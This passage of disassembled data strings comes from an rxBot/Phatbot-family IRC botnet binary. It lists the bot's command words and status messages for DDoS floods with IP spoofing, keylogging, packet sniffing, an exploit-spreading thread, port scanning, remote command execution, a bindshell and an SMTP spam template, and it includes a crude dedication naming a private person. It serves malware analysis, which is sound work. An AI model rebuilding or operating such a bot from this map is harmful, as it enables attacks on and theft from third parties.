aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; 